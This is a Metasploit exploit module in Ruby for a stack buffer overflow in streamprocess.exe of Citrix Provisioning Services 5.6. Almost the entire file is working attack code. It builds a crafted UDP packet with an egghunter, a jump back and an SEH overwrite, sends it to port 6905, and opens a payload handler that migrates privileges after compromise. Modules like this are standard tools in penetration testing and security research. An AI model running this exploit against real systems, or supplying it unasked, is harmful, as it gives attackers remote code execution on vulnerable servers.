##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
          By sending a specially crafted packet to the Provisioning Services server, a fixed
          length buffer on the stack can be overflowed and arbitrary code can be executed.
        },
        'Author' => 'mog',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '70597'],
          [ 'ZDI', '11-023' ],
          [ 'URL', 'http://web.archive.org/web/20110123164820/http://secunia.com:80/advisories/42954/' ],
          [ 'URL', 'http://support.citrix.com/article/CTX127149' ],
        ],
        'DefaultOptions' => {
          # best at delaying/preventing target crashing post-exploit
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
        'Payload' => {
          'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer
        },
        'Platform' => 'win',
        'Targets' => [
          # pop/pop/ret in streamprocess.exe
          # Service runs and automatically shuts down in Win 7
          [ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-01-20',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(6905)])
  end

  def exploit
    eggoptions =
      {
        :checksum => true,
        :eggtag => 'W00t',
      }
    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    sploit = "\x10\x00\x02\x40"  # message type
    sploit << rand_text_alpha_upper(30)
    sploit << "\x00\x01\x00\x00" # length field
    sploit << rand_text_alpha_upper(400)
    sploit << hunter
    sploit << rand_text_alpha_upper(64 - hunter.length)

    sploit << "\xEB\xBE"                # Jump back 66 bytes to hunter because there's
    sploit << rand_text_alpha_upper(2)  # only 24 bytes of cyclic copy after ret
    sploit << [target.ret].pack('V')    # SE handler

    sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
    sploit << egg                       # Payload has a whole page to itself

    print_status("Trying target #{target.name}...")

    connect_udp
    udp_sock.put(sploit)
    print_status("Exploit sent, wait for egghunter.")
    select(nil, nil, nil, 4) # takes about 8 seconds in tests

    handler(udp_sock)
    disconnect_udp
  end
end
